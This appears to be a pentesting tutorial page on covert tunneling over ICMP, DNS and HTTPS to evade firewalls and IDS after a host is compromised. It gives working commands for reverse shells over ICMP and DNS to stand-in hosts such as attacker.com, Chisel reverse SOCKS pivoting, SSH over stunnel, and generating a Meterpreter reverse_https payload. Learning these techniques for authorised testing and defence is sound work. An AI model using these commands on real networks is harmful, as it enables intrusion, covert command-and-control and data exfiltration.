Home > Network Pentesting

Tunneling (ICMP, DNS, HTTPS)

Tunneling through ICMP, DNS, and HTTPS allows attackers to move traffic across networks even when firewalls and security controls restrict normal communication. These covert channels hide data inside allowed or unmonitored protocols. During post-exploitation, tunneling provides reliable ways to pivot, exfiltrate data, and maintain access without triggering traditional alerts. This chapter explains how each tunneling method works and how attackers create and use these tunnels to bypass network defenses.

Understanding Why Tunneling Works

Networks often block inbound traffic but allow certain outbound protocols:

  • ICMP is used for diagnostics

  • DNS is required for domain resolution

  • HTTPS is required for normal web browsing

Because these protocols are always permitted, attackers embed traffic inside them to bypass segmentation and filtering.

ICMP Tunneling

ICMP tunneling hides data inside ping packets. Firewalls rarely block ICMP completely, so it provides a discreet communication path.

Tools for ICMP Tunneling

  • ptunnel

  • icmpsh

  • Hans

  • Loki (legacy)

Using ICMPSH (Reverse Shell Over ICMP)

Listener on Attacker

icmpsh_m.py 10.10.20.5 10.10.20.100

Client on Victim

icmpsh.exe -t 10.10.20.100

Traffic looks like normal echo requests and replies.

Using PTunnel (Full TCP Tunnel Over ICMP)

Attacker

ptunnel -x mypass

Victim

ptunnel -p attacker_ip -lp 8000 -da 10.10.20.5 -dp 22 -x mypass

Now SSH can be forwarded across ICMP.

When ICMP Tunneling Works Best

  • Egress filtering is strict

  • Only ICMP is allowed outbound

  • You need silent command execution

  • IDS does not inspect ICMP contents

DNS Tunneling

DNS tunneling hides data inside DNS queries and responses. Because DNS traffic is almost always allowed, attackers use it to carry C2 traffic, internal packets, and exfiltrated data.

Tools for DNS Tunneling

  • iodine

  • dnscat2

  • DNSExfil

  • OzymanDNS

DNS Tunneling with Iodine

Start Server

iodined -f -P pass 10.10.20.1 tunnel.attacker.com

Start Client

iodine -P pass tunnel.attacker.com

This creates a virtual interface (tun0) over DNS.

DNS Tunneling with dnscat2

Server

ruby dnscat2.rb attacker.com

Victim

dnscat2.exe attacker.com

This opens a fully encrypted shell through DNS channels.

When DNS Tunneling Works Best

  • Only port 53 is allowed

  • Network proxies enforce HTTP/HTTPS only

  • Firewall blocks outbound SSH

  • You need a stealthy command channel

DNS tunneling is extremely difficult to block without deep packet inspection.

HTTPS Tunneling

HTTPS tunneling hides all traffic inside encrypted TLS. Since HTTPS is the most trusted and widely used outbound protocol, it bypasses almost all firewalls and proxies.

Tools for HTTPS Tunneling

  • Chisel

  • SSH over TLS

  • Meterpreter reverse_https

  • stunnel

  • reGeorg/Neo-reGeorg

Using Chisel (Most Common Modern Tool)

Attacker (Run HTTPS Server)

chisel server -p 9001 --reverse

Victim (Create Reverse SOCKS Tunnel)

chisel client https://attacker_ip:9001 R:socks

A SOCKS proxy appears on the attacker machine:

127.0.0.1:1080

Use with proxychains:

proxychains nmap -sT 10.10.20.0/24

This gives full internal access through HTTPS.

SSH Over HTTPS

Wrap SSH traffic inside stunnel.

Attacker stunnel

[ssh]
accept = 443
connect = 22

Victim

ssh -o "ProxyCommand=openssl s_client -connect attacker_ip:443" user@attacker_ip

The SSH session travels inside HTTPS.

Meterpreter reverse_https

Payload Generation

msfvenom -p windows/meterpreter/reverse_https LHOST=<ip> LPORT=443 -f exe > payload.exe

Traffic blends in with legitimate HTTPS.

When HTTPS Tunneling Works Best

  • Only outbound 443 is open

  • IDS monitors plaintext protocols

  • You need to hide exploitation, scanning, or C2

  • All other protocol channels are blocked

HTTPS tunneling is the most reliable modern evasion and pivoting method.

Combining Tunnels for Deep Pivoting

Attackers often chain tunnels:

  • DNS → HTTP → HTTPS → SOCKS

  • ICMP → SSH → Nmap

  • HTTPS SOСKS → RDP, SMB, WinRM, SSH

Example:

proxychains firefox https://10.10.20.5

Access internal web apps through an HTTPS tunnel without direct exposure.

Why Tunneling Works

Tunneling succeeds because:

  • Security devices allow ICMP, DNS, and HTTPS

  • These protocols appear legitimate

  • Payloads can be encrypted

  • DPI often fails to inspect complex tunnels

  • Firewalls rarely block outbound traffic completely

  • Network segmentation doesn’t apply to tunnels

Tunneling transforms a single compromised host into a gateway that bypasses internal restrictions and firewalls.

Intel Dump

  • ICMP tunnels use echo packets to hide command channels

  • DNS tunnels embed data in DNS queries and responses

  • HTTPS tunnels hide all traffic inside encrypted TLS

  • Tools: ICMPSH, ptunnel, dnscat2, iodine, Chisel, stunnel

  • Tunnels bypass egress filters and segmentation

  • SOCKS proxies allow full internal scanning and service access

  • Chaining tunnels enables deep multi-layer pivoting

HOME LEARN COMMUNITY DASHBOARD